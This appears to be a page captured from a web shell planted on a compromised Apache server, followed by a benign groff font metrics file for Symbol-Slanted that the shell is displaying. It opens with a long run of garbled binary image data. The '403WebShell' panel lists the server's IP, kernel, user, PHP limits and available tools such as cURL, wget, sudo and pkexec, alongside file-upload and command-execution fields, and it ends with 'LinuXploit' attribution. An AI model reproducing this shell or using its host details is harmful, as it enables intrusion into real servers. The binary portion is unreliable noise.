JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 13.127.148.211  /  Your IP : 216.73.216.113
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ip-172-31-43-195 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/groff/current/font/devps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/groff/current/font/devps//SS
# This file has been generated with GNU afmtodit (groff) version 1.20.1
#
#   FullName Symbol Slanted
#   Version 001.008
#   FamilyName Symbol
#
# The original AFM file contains the following comments:
#
#   Notice Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated. All rights reserved.
#   Comment Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated. All rights reserved.
#   Comment Creation Date: Thu May  1 15:12:25 1997
#   Comment UniqueID 43064
#   Comment VMusage 30820 39997

name SS
internalname Symbol-Slanted
special
slant 15.5
spacewidth 223

charset
space	223	0	32	space
---	296,598,15,137,-73,99	3	33	exclam
---	635,627,0,217,-173,99	3	34	universal
---	445,599,14,162,-21,99	3	35	numbersign
---	489,629,0,182,28,99	3	36	existential
---	741,583,32,75,-97,75	3	37	percent
---	692,589,16,103,-18,99	3	38	ampersand
---	391,445,15,109,6,99	3	39	suchthat
---	296,599,170,203,-39,99	3	40	parenleft
---	296,599,170,93,72,93	3	41	parenright
---	445,490,0,105,-76,99	3	42	asteriskmath
---	489,474,0,123,-26,99	3	43	plus
---	223,93,136,10,41,10	3	44	comma
---	489,256,0,117,-24,99	3	45	minus
---	223,85,15,1,-20,1	3	46	period
---	247,575,16,208,55,99	3	47	slash
---	445,610,12,147,-39,99	3	48	zero
---	445,599,0,56,-57,56	3	49	one
---	445,610,0,129,28,99	3	50	two
---	445,610,12,116,1,99	3	51	three
---	445,610,0,135,-7,99	3	52	four
---	445,614,12,191,10,99	3	53	five
---	445,610,12,191,-39,99	3	54	six
---	445,599,14,190,-101,99	3	55	seven
---	445,610,12,139,-34,99	3	56	eight
---	445,610,16,141,2,99	3	57	nine
---	247,409,15,89,-31,89	3	58	colon
---	247,409,136,99,17,99	3	59	semicolon
---	489,465,0,171,-37,99	3	60	less
---	489,347,0,147,1,99	3	61	equal
---	489,465,0,107,27,99	3	62	greater
---	395,611,15,172,-114,99	3	63	question
---	489,423,0,158,40,99	3	64	congruent
---	643,599,0,21,46,21	3	65	Alpha
---	594,599,0,104,24,99	3	66	Beta
---	643,599,0,205,58,99	3	67	Chi
---	545,612,0,46,45,46	3	68	Delta
---	544,599,0,194,22,99	3	69	Epsilon
---	679,599,0,133,-56,99	3	70	Phi
---	537,599,0,227,19,99	3	71	Gamma
---	643,599,0,242,15,99	3	72	Eta
---	296,599,0,222,22,99	3	73	Iota
+h	562,614,16,133,-58,99	3	74	theta1
---	643,599,0,185,19,99	3	75	Kappa
---	611,612,0,49,45,49	3	76	Lambda
---	791,599,0,233,22,99	3	77	Mu
---	643,599,7,234,24,99	3	78	Nu
---	643,610,15,154,-62,99	3	79	Omicron
---	684,599,0,213,28,99	3	80	Pi
---	659,610,15,138,-62,99	3	81	Theta
---	495,599,0,200,25,99	3	82	Rho
---	527,599,0,186,46,99	3	83	Sigma
---	544,599,0,228,-108,99	3	84	Tau
---	614,599,0,240,-125,99	3	85	Upsilon
ts	391,445,208,151,-28,99	3	86	sigma1
---	684,612,0,126,20,99	3	87	Omega
---	574,599,0,176,14,99	3	88	Xi
---	708,609,0,227,-138,99	3	89	Psi
---	544,599,0,231,11,99	3	90	Zeta
---	296,600,138,207,16,99	3	91	bracketleft
---	768,433,0,0,-111	3	92	therefore
---	296,600,138,160,64,99	3	93	bracketright
---	586,600,0,60,37,60	3	94	perpendicular
---	445,0,111,31,86,31	3	95	underscore
---	445,816,0,829,-622,99	3	96	radicalex
*a	562,445,16,145,-34,99	3	97	alpha
*b	489,659,198,139,58,99	3	98	beta
*x	489,445,206,134,98,99	3	99	chi
*d	440,658,17,181,-32,99	3	100	delta
*e	391,447,17,127,1,99	3	101	epsilon
*f	464,599,199,106,-28,99	3	102	phi
*g	366,444,200,252,-42,99	3	103	gamma
*y	537,457,180,68,-50,68	3	104	eta
*i	293,448,15,53,-47,53	3	105	iota
+f	537,444,199,117,-42,99	3	106	phi1
*k	489,446,0,182,-56,99	3	107	kappa
*l	489,658,15,91,29,91	3	108	lambda
*m	513,445,198,70,68,70	3	109	mu
*n	464,451,14,134,-69,99	3	110	nu
*o	489,444,17,86,-36,86	3	111	omicron
*p	489,433,17,161,-8,99	3	112	pi
*h	464,614,15,140,-53,99	3	113	theta
*r	489,444,205,82,69,82	3	114	rho
*s	537,445,19,175,-37,99	3	115	sigma
*t	391,445,17,170,-45,99	3	116	tau
*u	513,451,16,95,-55,95	3	117	upsilon
+p	635,519,16,173,-28,99	3	118	omega1
*w	611,445,15,126,-35,99	3	119	omega
*c	439,681,200,126,-20,99	3	120	xi
*q	611,445,203,198,-91,99	3	121	psi
*z	440,673,200,190,-50,99	3	122	zeta
---	427,599,163,163,-66,99	3	123	braceleft
---	178,629,261,188,73,99	3	124	bar
---	427,599,163,67,30,67	3	125	braceright
---	489,273,0,110,-28,99	3	126	similar
---	668,610,11,179,-35,99	3	160	Euro
---	552,610,0,208,-84,99	3	161	Upsilon1
---	220,654,0,223,-106,99	3	162	minute
---	489,569,0,206,24,99	3	163	lessequal
---	149,603,11,391,214,99	3	164	fraction
---	635,360,0,107,-41,99	3	165	infinity
---	445,611,172,219,86,99	3	166	florin
---	670,474,23,25,-69,25	3	167	club
---	670,489,32,0,-148	3	168	diamond
---	670,473,29,59,-155,59	3	169	heart
---	670,488,32,0,-82	3	170	spade
---	927,455,13,103,-40,99	3	171	arrowboth
---	878,455,13,87,-47,87	3	172	arrowleft
---	537,810,0,204,-173,99	3	173	arrowup
---	878,455,13,94,-55,94	3	174	arrowright
---	537,790,20,85,-54,85	3	175	arrowdown
---	356,610,0,160,-136,99	3	176	degree
---	489,574,0,154,41,99	3	177	plusminus
---	366,656,0,244,-100,99	3	178	second
---	489,569,0,143,24,99	3	179	greaterequal
---	489,466,0,170,22,99	3	180	multiply
---	635,360,0,82,-40,82	3	181	proportional
---	440,664,18,152,-12,99	3	182	partialdiff
---	409,421,0,95,-68,95	3	183	bullet
---	489,406,0,119,-24,99	3	184	divide
---	489,489,22,148,-1,99	3	185	notequal
---	489,394,0,163,15,99	3	186	equivalence
---	489,351,0,133,-7,99	3	187	approxequal
---	890,85,15,0,-57	3	188	ellipsis
---	537,899,107,92,-166,92	3	189	arrowvertex
---	890,246,0,171,42,99	3	190	arrowhorizex
---	586,560,14,174,10,99	3	191	carriagereturn
---	732,586,16,58,-109,58	3	192	aleph
---	611,659,47,123,24,99	3	193	Ifraktur
---	708,653,13,175,-21,99	3	194	Rfraktur
---	878,510,188,50,-62,50	3	195	weierstrass
---	684,599,15,124,-65,99	3	196	circlemultiply
---	684,601,13,125,-65,99	3	197	circleplus
---	732,640,21,202,12,99	3	198	emptyset
---	684,453,0,80,14,80	3	199	intersection
---	684,438,15,154,-60,99	3	200	union
---	635,418,0,90,32,90	3	201	propersuperset
---	635,418,111,89,67,89	3	202	reflexsuperset
---	635,481,62,159,-37,99	3	203	notsubset
---	635,418,0,159,-37,99	3	204	propersubset
---	635,418,111,159,34,99	3	205	reflexsubset
---	635,417,0,0,-43	3	206	element
---	635,494,52,0,-25	3	207	notelement
---	684,599,0,199,27,99	3	208	angle
---	635,639,17,220,-181,99	3	209	gradient
---	703,599,15,111,-71,99	3	210	registerserif
---	703,601,13,113,-72,99	3	211	copyrightserif
---	792,599,0,205,-119,99	3	212	trademarkserif
---	732,668,90,238,56,99	3	213	product
---	489,816,34,272,-84,99	3	214	radical
---	223,276,0,51,-82,51	3	215	dotmath
---	635,256,0,100,-28,99	3	216	logicalnot
---	537,404,0,32,30,32	3	217	logicaland
---	537,425,0,152,-101,99	3	218	logicalor
---	927,454,18,101,-42,99	3	219	arrowdblboth
---	878,457,13,114,-46,99	3	220	arrowdblleft
---	537,811,0,201,-102,99	3	221	arrowdblup
---	878,452,18,89,-21,89	3	222	arrowdblright
---	537,792,17,152,-53,99	3	223	arrowdbldown
---	440,663,0,129,-71,99	3	224	lozenge
---	293,664,176,229,-48,99	3	225	angleleft
---	703,596,18,110,-70,99	3	226	registersans
---	703,601,13,111,-70,99	3	227	copyrightsans
---	700,599,0,182,-129,99	3	228	trademarksans
---	635,669,96,171,65,99	3	229	summation
---	342,824,261,350,110,99	3	230	parenlefttp
---	342,823,76,61,52,61	3	231	parenleftex
---	342,824,261,61,-53,61	3	232	parenleftbt
---	342,824,71,275,72,99	3	233	bracketlefttp
---	342,823,70,33,72,33	3	234	bracketleftex
---	342,824,71,33,72,33	3	235	bracketleftbt
---	440,823,76,263,-112,99	3	236	bracelefttp
---	440,832,76,122,-82,99	3	237	braceleftmid
---	440,832,67,122,-147,99	3	238	braceleftbt
---	440,832,76,122,-112,99	3	239	braceex
---	293,664,176,102,79,99	3	241	angleright
---	244,815,95,305,63,99	3	242	integral
---	611,819,78,277,-200,99	3	243	integraltp
---	611,868,78,46,-200,46	3	244	integralex
---	611,820,77,31,47,31	3	245	integralbt
---	342,824,261,217,-209,99	3	246	parenrighttp
---	342,823,76,379,-266,99	3	247	parenrightex
---	342,824,261,380,80,99	3	248	parenrightbt
---	342,824,71,295,-189,99	3	249	bracketrighttp
---	342,823,70,295,-190,99	3	250	bracketrightex
---	342,824,71,295,53,99	3	251	bracketrightbt
---	440,823,76,87,-112,87	3	252	bracerighttp
---	440,832,76,153,-112,99	3	253	bracerightmid
---	440,832,67,122,28,99	3	254	bracerightbt

Youez - 2016 - github.com/yon3zu
LinuXploit